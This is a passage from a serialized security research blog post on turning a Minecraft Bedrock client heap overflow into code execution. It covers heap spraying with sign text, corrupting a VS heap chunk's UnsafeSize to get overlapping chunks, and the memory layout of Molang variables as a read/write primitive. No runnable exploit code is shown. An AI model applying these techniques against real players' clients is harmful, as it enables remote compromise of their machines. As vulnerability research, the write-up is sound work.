",{"type":25,"tag":264,"props":164477,"children":164479},{"className":164478},[],[164480],{"type":30,"value":164481},"jmp",{"type":30,"value":164483},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":25,"tag":26,"props":164485,"children":164486},{},[164487],{"type":25,"tag":698,"props":164488,"children":164490},{"alt":63694,"src":164489},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":25,"tag":26,"props":164492,"children":164493},{},[164494,164496,164501,164503,164508],{"type":30,"value":164495},"After patching the server and calling ",{"type":25,"tag":264,"props":164497,"children":164499},{"className":164498},[],[164500],{"type":30,"value":162605},{"type":30,"value":164502}," with a size of ",{"type":25,"tag":264,"props":164504,"children":164506},{"className":164505},[],[164507],{"type":30,"value":71263},{"type":30,"value":164509},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":25,"tag":26,"props":164511,"children":164512},{},[164513],{"type":25,"tag":698,"props":164514,"children":164516},{"alt":63694,"src":164515},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":25,"tag":92,"props":164518,"children":164519},{},[],{"type":25,"tag":26,"props":164521,"children":164522},{},[164523],{"type":30,"value":164524},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":25,"tag":26,"props":164526,"children":164527},{},[164528],{"type":30,"value":164529},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":25,"tag":247,"props":164531,"children":164533},{"id":164532},"overlapping-heap-chunks",[164534],{"type":30,"value":164535},"Overlapping Heap Chunks",{"type":25,"tag":26,"props":164537,"children":164538},{},[164539,164541,164546],{"type":30,"value":164540},"The attack is described in detail in the referenced blog post (",{"type":25,"tag":83,"props":164542,"children":164544},{"href":162349,"rel":164543},[9066],[164545],{"type":30,"value":60700},{"type":30,"value":164547},"), so we will present a high-level overview.",{"type":25,"tag":26,"props":164549,"children":164550},{},[164551,164553,164559],{"type":30,"value":164552},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":25,"tag":264,"props":164554,"children":164556},{"className":164555},[],[164557],{"type":30,"value":164558},"_HEAP_VS_CHUNK_HEADER",{"type":30,"value":164560}," structure layout is required:",{"type":25,"tag":7764,"props":164562,"children":164564},{"code":164563},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[164565],{"type":25,"tag":264,"props":164566,"children":164567},{"__ignoreMap":7},[164568],{"type":30,"value":164563},{"type":25,"tag":26,"props":164570,"children":164571},{},[164572,164574,164580,164582,164588,164589,164595,164596,164602,164604,164609,164611,164616,164618,164624,164626,164631,164633,164639],{"type":30,"value":164573},"At offset 0 there is a header ",{"type":25,"tag":264,"props":164575,"children":164577},{"className":164576},[],[164578],{"type":30,"value":164579},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":30,"value":164581}," containing fields such as ",{"type":25,"tag":264,"props":164583,"children":164585},{"className":164584},[],[164586],{"type":30,"value":164587},"MemoryCost",{"type":30,"value":44},{"type":25,"tag":264,"props":164590,"children":164592},{"className":164591},[],[164593],{"type":30,"value":164594},"UnsafeSize",{"type":30,"value":44},{"type":25,"tag":264,"props":164597,"children":164599},{"className":164598},[],[164600],{"type":30,"value":164601},"UnsafePrevSize",{"type":30,"value":164603},", etc. For the attack we only care about the ",{"type":25,"tag":264,"props":164605,"children":164607},{"className":164606},[],[164608],{"type":30,"value":164594},{"type":30,"value":164610}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":25,"tag":264,"props":164612,"children":164614},{"className":164613},[],[164615],{"type":30,"value":138877},{"type":30,"value":164617},", so for a chunk of size ",{"type":25,"tag":264,"props":164619,"children":164621},{"className":164620},[],[164622],{"type":30,"value":164623},"0x4010",{"type":30,"value":164625}," the value of ",{"type":25,"tag":264,"props":164627,"children":164629},{"className":164628},[],[164630],{"type":30,"value":164594},{"type":30,"value":164632}," would be ",{"type":25,"tag":264,"props":164634,"children":164636},{"className":164635},[],[164637],{"type":30,"value":164638},"0x401",{"type":30,"value":1860},{"type":25,"tag":26,"props":164641,"children":164642},{},[164643,164644,164649],{"type":30,"value":77331},{"type":25,"tag":264,"props":164645,"children":164647},{"className":164646},[],[164648],{"type":30,"value":164594},{"type":30,"value":164650}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":25,"tag":26,"props":164652,"children":164653},{},[164654,164656,164661,164663,164668,164670,164676,164678,164683],{"type":30,"value":164655},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":25,"tag":264,"props":164657,"children":164659},{"className":164658},[],[164660],{"type":30,"value":164594},{"type":30,"value":164662}," in the smallest possible VS chunk (",{"type":25,"tag":264,"props":164664,"children":164666},{"className":164665},[],[164667],{"type":30,"value":164623},{"type":30,"value":164669},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":25,"tag":264,"props":164671,"children":164673},{"className":164672},[],[164674],{"type":30,"value":164675},"[0x10, 0xffff0]",{"type":30,"value":164677}," range, the probability that it exceeds ",{"type":25,"tag":264,"props":164679,"children":164681},{"className":164680},[],[164682],{"type":30,"value":164623},{"type":30,"value":164684}," is:",{"type":25,"tag":7764,"props":164686,"children":164688},{"code":164687},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[164689],{"type":25,"tag":264,"props":164690,"children":164691},{"__ignoreMap":7},[164692],{"type":30,"value":164687},{"type":25,"tag":26,"props":164694,"children":164695},{},[164696],{"type":30,"value":164697},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":25,"tag":26,"props":164699,"children":164700},{},[164701],{"type":30,"value":164702},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":25,"tag":2352,"props":164704,"children":164706},{"id":164705},"overlap-attack-overview",[164707],{"type":30,"value":164708},"Overlap Attack Overview",{"type":25,"tag":26,"props":164710,"children":164711},{},[164712,164714,164719],{"type":30,"value":164713},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":25,"tag":264,"props":164715,"children":164717},{"className":164716},[],[164718],{"type":30,"value":138900},{"type":30,"value":164720}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":25,"tag":26,"props":164722,"children":164723},{},[164724,164726,164731,164733,164738],{"type":30,"value":164725},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":25,"tag":264,"props":164727,"children":164729},{"className":164728},[],[164730],{"type":30,"value":160608},{"type":30,"value":164732},"-sized chunks in the free list that we want to avoid. If a ",{"type":25,"tag":264,"props":164734,"children":164736},{"className":164735},[],[164737],{"type":30,"value":160608},{"type":30,"value":164739},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":25,"tag":26,"props":164741,"children":164742},{},[164743,164745,164750],{"type":30,"value":164744},"To remove those ",{"type":25,"tag":264,"props":164746,"children":164748},{"className":164747},[],[164749],{"type":30,"value":160608},{"type":30,"value":164751},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":25,"tag":26,"props":164753,"children":164754},{},[164755],{"type":30,"value":164756},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":25,"tag":7764,"props":164758,"children":164760},{"code":164759},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[164761],{"type":25,"tag":264,"props":164762,"children":164763},{"__ignoreMap":7},[164764],{"type":30,"value":164759},{"type":25,"tag":26,"props":164766,"children":164767},{},[164768,164770,164775,164777,164782],{"type":30,"value":164769},"Next we create ",{"type":25,"tag":10281,"props":164771,"children":164772},{},[164773],{"type":30,"value":164774},"holes",{"type":30,"value":164776}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":25,"tag":264,"props":164778,"children":164780},{"className":164779},[],[164781],{"type":30,"value":160608},{"type":30,"value":164783},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":25,"tag":7764,"props":164785,"children":164787},{"code":164786},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[164788],{"type":25,"tag":264,"props":164789,"children":164790},{"__ignoreMap":7},[164791],{"type":30,"value":164786},{"type":25,"tag":26,"props":164793,"children":164794},{},[164795,164797,164802,164804,164809],{"type":30,"value":164796},"When a ",{"type":25,"tag":264,"props":164798,"children":164800},{"className":164799},[],[164801],{"type":30,"value":160608},{"type":30,"value":164803}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":25,"tag":264,"props":164805,"children":164807},{"className":164806},[],[164808],{"type":30,"value":164594},{"type":30,"value":164810}," field will be overwritten:",{"type":25,"tag":7764,"props":164812,"children":164814},{"code":164813},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[164815],{"type":25,"tag":264,"props":164816,"children":164817},{"__ignoreMap":7},[164818],{"type":30,"value":164813},{"type":25,"tag":26,"props":164820,"children":164821},{},[164822,164824,164829,164831,164836,164838,164843],{"type":30,"value":164823},"Once ",{"type":25,"tag":264,"props":164825,"children":164827},{"className":164826},[],[164828],{"type":30,"value":164594},{"type":30,"value":164830}," has been overwritten, ",{"type":25,"tag":264,"props":164832,"children":164834},{"className":164833},[],[164835],{"type":30,"value":160608},{"type":30,"value":164837}," allocation is freed immediately after, restoring the previous layout but with ",{"type":25,"tag":264,"props":164839,"children":164841},{"className":164840},[],[164842],{"type":30,"value":164594},{"type":30,"value":164844}," field corrupted:",{"type":25,"tag":7764,"props":164846,"children":164848},{"code":164847},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[164849],{"type":25,"tag":264,"props":164850,"children":164851},{"__ignoreMap":7},[164852],{"type":30,"value":164847},{"type":25,"tag":26,"props":164854,"children":164855},{},[164856],{"type":30,"value":164857},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":25,"tag":7764,"props":164859,"children":164861},{"code":164860},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[164862],{"type":25,"tag":264,"props":164863,"children":164864},{"__ignoreMap":7},[164865],{"type":30,"value":164860},{"type":25,"tag":26,"props":164867,"children":164868},{},[164869],{"type":30,"value":164870},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":25,"tag":7764,"props":164872,"children":164874},{"code":164873},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[164875],{"type":25,"tag":264,"props":164876,"children":164877},{"__ignoreMap":7},[164878],{"type":30,"value":164873},{"type":25,"tag":92,"props":164880,"children":164881},{},[],{"type":25,"tag":26,"props":164883,"children":164884},{},[164885],{"type":30,"value":164886},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":25,"tag":26,"props":164888,"children":164889},{},[164890],{"type":30,"value":164891},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":25,"tag":247,"props":164893,"children":164895},{"id":164894},"molang",[164896],{"type":30,"value":164897},"Molang",{"type":25,"tag":26,"props":164899,"children":164900},{},[164901,164903,164910],{"type":30,"value":164902},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":25,"tag":83,"props":164904,"children":164907},{"href":164905,"rel":164906},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[9066],[164908],{"type":30,"value":164909},"syntax guide",{"type":30,"value":1860},{"type":25,"tag":26,"props":164912,"children":164913},{},[164914,164916,164921,164922,164927],{"type":30,"value":164915},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":25,"tag":264,"props":164917,"children":164919},{"className":164918},[],[164920],{"type":30,"value":21696},{"type":30,"value":12218},{"type":25,"tag":264,"props":164923,"children":164925},{"className":164924},[],[164926],{"type":30,"value":28810},{"type":30,"value":164928}," operators are supported.",{"type":25,"tag":26,"props":164930,"children":164931},{},[164932,164934,164940,164942,164947,164949,164954,164955,164960,164961],{"type":30,"value":164933},"Variables are defined by prepending ",{"type":25,"tag":264,"props":164935,"children":164937},{"className":164936},[],[164938],{"type":30,"value":164939},"variable.",{"type":30,"value":164941}," to the name and assigning a value. For example, to define ",{"type":25,"tag":264,"props":164943,"children":164945},{"className":164944},[],[164946],{"type":30,"value":22204},{"type":30,"value":164948}," as the sum of ",{"type":25,"tag":264,"props":164950,"children":164952},{"className":164951},[],[164953],{"type":30,"value":83},{"type":30,"value":12218},{"type":25,"tag":264,"props":164956,"children":164958},{"className":164957},[],[164959],{"type":30,"value":2508},{"type":30,"value":28453},{"type":25,"tag":264,"props":164962,"children":164964},{"className":164963},[],[164965],{"type":30,"value":164966},"variable.result = variable.a + variable.b;",{"type":25,"tag":26,"props":164968,"children":164969},{},[164970,164972,164977,164978,164983,164984,164989,164990,164995],{"type":30,"value":164971},"Logical operators such as ",{"type":25,"tag":264,"props":164973,"children":164975},{"className":164974},[],[164976],{"type":30,"value":35518},{"type":30,"value":44},{"type":25,"tag":264,"props":164979,"children":164981},{"className":164980},[],[164982],{"type":30,"value":86311},{"type":30,"value":44},{"type":25,"tag":264,"props":164985,"children":164987},{"className":164986},[],[164988],{"type":30,"value":14307},{"type":30,"value":44},{"type":25,"tag":264,"props":164991,"children":164993},{"className":164992},[],[164994],{"type":30,"value":23586},{"type":30,"value":164996},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":25,"tag":7764,"props":164998,"children":165000},{"code":164999},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[165001],{"type":25,"tag":264,"props":165002,"children":165003},{"__ignoreMap":7},[165004],{"type":30,"value":164999},{"type":25,"tag":26,"props":165006,"children":165007},{},[165008],{"type":30,"value":165009},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":25,"tag":2352,"props":165011,"children":165013},{"id":165012},"molang-internals",[165014],{"type":30,"value":165015},"Molang Internals",{"type":25,"tag":26,"props":165017,"children":165018},{},[165019],{"type":30,"value":165020},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":25,"tag":26,"props":165022,"children":165023},{},[165024],{"type":30,"value":165025},"Below we describe the structures involved and their memory layout.",{"type":25,"tag":2352,"props":165027,"children":165029},{"id":165028},"molangvariable-and-molangscriptarg",[165030],{"type":30,"value":165031},"MolangVariable and MolangScriptArg",{"type":25,"tag":26,"props":165033,"children":165034},{},[165035,165036,165042],{"type":30,"value":115445},{"type":25,"tag":264,"props":165037,"children":165039},{"className":165038},[],[165040],{"type":30,"value":165041},"MolangVariable",{"type":30,"value":165043}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":25,"tag":7764,"props":165045,"children":165047},{"code":165046,"language":13243,"meta":7,"className":29637,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[165048],{"type":25,"tag":264,"props":165049,"children":165050},{"__ignoreMap":7},[165051,165063,165070,165082,165095,165103,165110,165117,165129,165142,165154,165184,165192,165199,165206],{"type":25,"tag":271,"props":165052,"children":165053},{"class":13593,"line":13594},[165054,165058],{"type":25,"tag":271,"props":165055,"children":165056},{"style":14289},[165057],{"type":30,"value":22524},{"type":25,"tag":271,"props":165059,"children":165060},{"style":13625},[165061],{"type":30,"value":165062}," MolangVariable {\n",{"type":25,"tag":271,"props":165064,"children":165065},{"class":13593,"line":11641},[165066],{"type":25,"tag":271,"props":165067,"children":165068},{"style":13625},[165069],{"type":30,"value":74901},{"type":25,"tag":271,"props":165071,"children":165072},{"class":13593,"line":14354},[165073,165077],{"type":25,"tag":271,"props":165074,"children":165075},{"style":14289},[165076],{"type":30,"value":19182},{"type":25,"tag":271,"props":165078,"children":165079},{"style":13625},[165080],{"type":30,"value":165081}," HashedString {\n",{"type":25,"tag":271,"props":165083,"children":165084},{"class":13593,"line":14391},[165085,165090],{"type":25,"tag":271,"props":165086,"children":165087},{"style":14289},[165088],{"type":30,"value":165089},"        uint64_t",{"type":25,"tag":271,"props":165091,"children":165092},{"style":13625},[165093],{"type":30,"value":165094}," variable_name_hash;\n",{"type":25,"tag":271,"props":165096,"children":165097},{"class":13593,"line":14400},[165098],{"type":25,"tag":271,"props":165099,"children":165100},{"style":13625},[165101],{"type":30,"value":165102},"        std::string variable_name;\n",{"type":25,"tag":271,"props":165104,"children":165105},{"class":13593,"line":16406},[165106],{"type":25,"tag":271,"props":165107,"children":165108},{"style":13625},[165109],{"type":30,"value":52107},{"type":25,"tag":271,"props":165111,"children":165112},{"class":13593,"line":16434},[165113],{"type":25,"tag":271,"props":165114,"children":165115},{"style":13625},[165116],{"type":30,"value":74901},{"type":25,"tag":271,"props":165118,"children":165119},{"class":13593,"line":16447},[165120,165124],{"type":25,"tag":271,"props":165121,"children":165122},{"style":14289},[165123],{"type":30,"value":19182},{"type":25,"tag":271,"props":165125,"children":165126},{"style":13625},[165127],{"type":30,"value":165128}," MolangScriptArg {\n",{"type":25,"tag":271,"props":165130,"children":165131},{"class":13593,"line":16465},[165132,165137],{"type":25,"tag":271,"props":165133,"children":165134},{"style":14289},[165135],{"type":30,"value":165136},"        uint32_t",{"type":25,"tag":271,"props":165138,"children":165139},{"style":13625},[165140],{"type":30,"value":165141}," value_type;\n",{"type":25,"tag":271,"props":165143,"children":165144},{"class":13593,"line":16486},[165145,165149],{"type":25,"tag":271,"props":165146,"children":165147},{"style":14289},[165148],{"type":30,"value":165089},{"type":25,"tag":271,"props":165150,"children":165151},{"style":13625},[165152],{"type":30,"value":165153}," value;\n",{"type":25,"tag":271,"props":165155,"children":165156},{"class":13593,"line":16495},[165157,165162,165166,165170,165175,165179],{"type":25,"tag":271,"props":165158,"children":165159},{"style":13625},[165160],{"type":30,"value":165161},"        std::vector",{"type":25,"tag":271,"props":165163,"children":165164},{"style":13603},[165165],{"type":30,"value":14307},{"type":25,"tag":271,"props":165167,"children":165168},{"style":14289},[165169],{"type":30,"value":22524},{"type":25,"tag":271,"props":165171,"children":165172},{"style":13625},[165173],{"type":30,"value":165174}," MolangScriptArg",{"type":25,"tag":271,"props":165176,"children":165177},{"style":13603},[165178],{"type":30,"value":23586},{"type":25,"tag":271,"props":165180,"children":165181},{"style":13625},[165182],{"type":30,"value":165183}," struct_fields;\n",{"type":25,"tag":271,"props":165185,"children":165186},{"class":13593,"line":16744},[165187],{"type":25,"tag":271,"props":165188,"children":165189},{"style":13625},[165190],{"type":30,"value":165191},"        \n",{"type":25,"tag":271,"props":165193,"children":165194},{"class":13593,"line":16761},[165195],{"type":25,"tag":271,"props":165196,"children":165197},{"style":13625},[165198],{"type":30,"value":136479},{"type":25,"tag":271,"props":165200,"children":165201},{"class":13593,"line":16778},[165202],{"type":25,"tag":271,"props":165203,"children":165204},{"style":13625},[165205],{"type":30,"value":52107},{"type":25,"tag":271,"props":165207,"children":165208},{"class":13593,"line":16791},[165209],{"type":25,"tag":271,"props":165210,"children":165211},{"style":13625},[165212],{"type":30,"value":29700},{"type":25,"tag":26,"props":165214,"children":165215},{},[165216,165218,165223],{"type":30,"value":165217},"In memory a ",{"type":25,"tag":264,"props":165219,"children":165221},{"className":165220},[],[165222],{"type":30,"value":165041},{"type":30,"value":165224}," instance resembles:",{"type":25,"tag":7764,"props":165226,"children":165228},{"code":165227},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[165229],{"type":25,"tag":264,"props":165230,"children":165231},{"__ignoreMap":7},[165232],{"type":30,"value":165227},{"type":25,"tag":26,"props":165234,"children":165235},{},[165236],{"type":30,"value":165237},"For reference, example debugger view of the layout:",{"type":25,"tag":26,"props":165239,"children":165240},{},[165241],{"type":25,"tag":698,"props":165242,"children":165244},{"alt":63694,"src":165243},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":25,"tag":26,"props":165246,"children":165247},{},[165248],{"type":30,"value":165249},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":25,"tag":26,"props":165251,"children":165252},{},[165253,165255,165261,165263,165268,165270,165276,165278,165283,165284,165289,165291,165296,165297,165303,165304,165310],{"type":30,"value":165254},"We only care about the ",{"type":25,"tag":264,"props":165256,"children":165258},{"className":165257},[],[165259],{"type":30,"value":165260},"MolangScriptArg",{"type":30,"value":165262}," beginning at offset ",{"type":25,"tag":264,"props":165264,"children":165266},{"className":165265},[],[165267],{"type":30,"value":141358},{"type":30,"value":165269}," because it contains variable values. In the screenshot above, the ",{"type":25,"tag":264,"props":165271,"children":165273},{"className":165272},[],[165274],{"type":30,"value":165275},"value_type",{"type":30,"value":165277}," at ",{"type":25,"tag":264,"props":165279,"children":165281},{"className":165280},[],[165282],{"type":30,"value":141358},{"type":30,"value":18632},{"type":25,"tag":264,"props":165285,"children":165287},{"className":165286},[],[165288],{"type":30,"value":953},{"type":30,"value":165290}," (meaning float), and the ",{"type":25,"tag":264,"props":165292,"children":165294},{"className":165293},[],[165295],{"type":30,"value":52262},{"type":30,"value":165277},{"type":25,"tag":264,"props":165298,"children":165300},{"className":165299},[],[165301],{"type":30,"value":165302},"0x38",{"type":30,"value":18632},{"type":25,"tag":264,"props":165305,"children":165307},{"className":165306},[],[165308],{"type":30,"value":165309},"0xbf2070c8",{"type":30,"value":1860},{"type":25,"tag":26,"props":165312,"children":165313},{},[165314,165316,165322,165324,165329,165331,165336,165337,165342,165344,165349,165351,165356],{"type":30,"value":165315},"During assignment, such as ",{"type":25,"tag":264,"props":165317,"children":165319},{"className":165318},[],[165320],{"type":30,"value":165321},"variable.a = variable.b",{"type":30,"value":165323},", each field of ",{"type":25,"tag":264,"props":165325,"children":165327},{"className":165326},[],[165328],{"type":30,"value":165260},{"type":30,"value":165330}," is copied from variable ",{"type":25,"tag":264,"props":165332,"children":165334},{"className":165333},[],[165335],{"type":30,"value":2508},{"type":30,"value":69891},{"type":25,"tag":264,"props":165338,"children":165340},{"className":165339},[],[165341],{"type":30,"value":83},{"type":30,"value":165343},". Interestingly, the ",{"type":25,"tag":264,"props":165345,"children":165347},{"className":165346},[],[165348],{"type":30,"value":52262},{"type":30,"value":165350}," field is always copied as a ",{"type":25,"tag":264,"props":165352,"children":165354},{"className":165353},[],[165355],{"type":30,"value":68751},{"type":30,"value":165357}," even if the type is a 32-bit float.",{"type":25,"tag":26,"props":165359,"children":165360},{},[165361,165363,165369],{"type":30,"value":165362},"Each entity stores its variables in a per-entity vector called ",{"type":25,"tag":264,"props":165364,"children":165366},{"className":165365},[],[165367],{"type":30,"value":165368},"MolangVariableMap",{"type":30,"value":1860},{"type":25,"tag":2352,"props":165371,"children":165373},{"id":165372},"molangvariablemap",[165374],{"type":30,"value":165368},{"type":25,"tag":26,"props":165376,"children":165377},{},[165378,165383,165385,165391,165393,165399],{"type":25,"tag":264,"props":165379,"children":165381},{"className":165380},[],[165382],{"type":30,"value":165368},{"type":30,"value":165384}," is simply a ",{"type":25,"tag":264,"props":165386,"children":165388},{"className":165387},[],[165389],{"type":30,"value":165390},"std::vector\u003CMolangVariable *>",{"type":30,"value":165392}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":25,"tag":264,"props":165394,"children":165396},{"className":165395},[],[165397],{"type":30,"value":165398},"std::vector",{"type":30,"value":165400}," layout:",{"type":25,"tag":7764,"props":165402,"children":165404},{"code":165403,"language":13243,"meta":7,"className":29637,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[165405],{"type":25,"tag":264,"props":165406,"children":165407},{"__ignoreMap":7},[165408,165420,165436,165452,165468],{"type":25,"tag":271,"props":165409,"children":165410},{"class":13593,"line":13594},[165411,165415],{"type":25,"tag":271,"props":165412,"children":165413},{"style":14289},[165414],{"type":30,"value":22524},{"type":25,"tag":271,"props":165416,"children":165417},{"style":13625},[165418],{"type":30,"value":165419}," vector {\n",{"type":25,"tag":271,"props":165421,"children":165422},{"class":13593,"line":11641},[165423,165427,165431],{"type":25,"tag":271,"props":165424,"children":165425},{"style":14289},[165426],{"type":30,"value":29670},{"type":25,"tag":271,"props":165428,"children":165429},{"style":13603},[165430],{"type":30,"value":22940},{"type":25,"tag":271,"props":165432,"children":165433},{"style":13625},[165434],{"type":30,"value":165435},"buf;\n",{"type":25,"tag":271,"props":165437,"children":165438},{"class":13593,"line":14354},[165439,165443,165447],{"type":25,"tag":271,"props":165440,"children":165441},{"style":14289},[165442],{"type":30,"value":29670},{"type":25,"tag":271,"props":165444,"children":165445},{"style":13603},[165446],{"type":30,"value":22940},{"type":25,"tag":271,"props":165448,"children":165449},{"style":13625},[165450],{"type":30,"value":165451},"len;\n",{"type":25,"tag":271,"props":165453,"children":165454},{"class":13593,"line":14391},[165455,165459,165463],{"type":25,"tag":271,"props":165456,"children":165457},{"style":14289},[165458],{"type":30,"value":29670},{"type":25,"tag":271,"props":165460,"children":165461},{"style":13603},[165462],{"type":30,"value":22940},{"type":25,"tag":271,"props":165464,"children":165465},{"style":13625},[165466],{"type":30,"value":165467},"cap;\n",{"type":25,"tag":271,"props":165469,"children":165470},{"class":13593,"line":14400},[165471],{"type":25,"tag":271,"props":165472,"children":165473},{"style":13625},[165474],{"type":30,"value":29700},{"type":25,"tag":26,"props":165476,"children":165477},{},[165478,165483,165485,165490,165492,165498,165500,165505,165506,165511],{"type":25,"tag":264,"props":165479,"children":165481},{"className":165480},[],[165482],{"type":30,"value":162564},{"type":30,"value":165484}," points to the allocated array of elements, ",{"type":25,"tag":264,"props":165486,"children":165488},{"className":165487},[],[165489],{"type":30,"value":22261},{"type":30,"value":165491}," points just past the last used element, and ",{"type":25,"tag":264,"props":165493,"children":165495},{"className":165494},[],[165496],{"type":30,"value":165497},"cap",{"type":30,"value":165499}," points to the end of the allocated buffer. Notably, the types of ",{"type":25,"tag":264,"props":165501,"children":165503},{"className":165502},[],[165504],{"type":30,"value":22261},{"type":30,"value":12218},{"type":25,"tag":264,"props":165507,"children":165509},{"className":165508},[],[165510],{"type":30,"value":165497},{"type":30,"value":165512}," aren't typical integer types for sizes, but both are pointers.",{"type":25,"tag":26,"props":165514,"children":165515},{},[165516],{"type":30,"value":165517},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":25,"tag":7764,"props":165519,"children":165521},{"code":165520},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[165522],{"type":25,"tag":264,"props":165523,"children":165524},{"__ignoreMap":7},[165525],{"type":30,"value":165520},{"type":25,"tag":26,"props":165527,"children":165528},{},[165529,165531,165537,165539,165545],{"type":30,"value":165530},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":25,"tag":264,"props":165532,"children":165534},{"className":165533},[],[165535],{"type":30,"value":165536},"variable.result",{"type":30,"value":165538},") may differ between entities. To get around this, 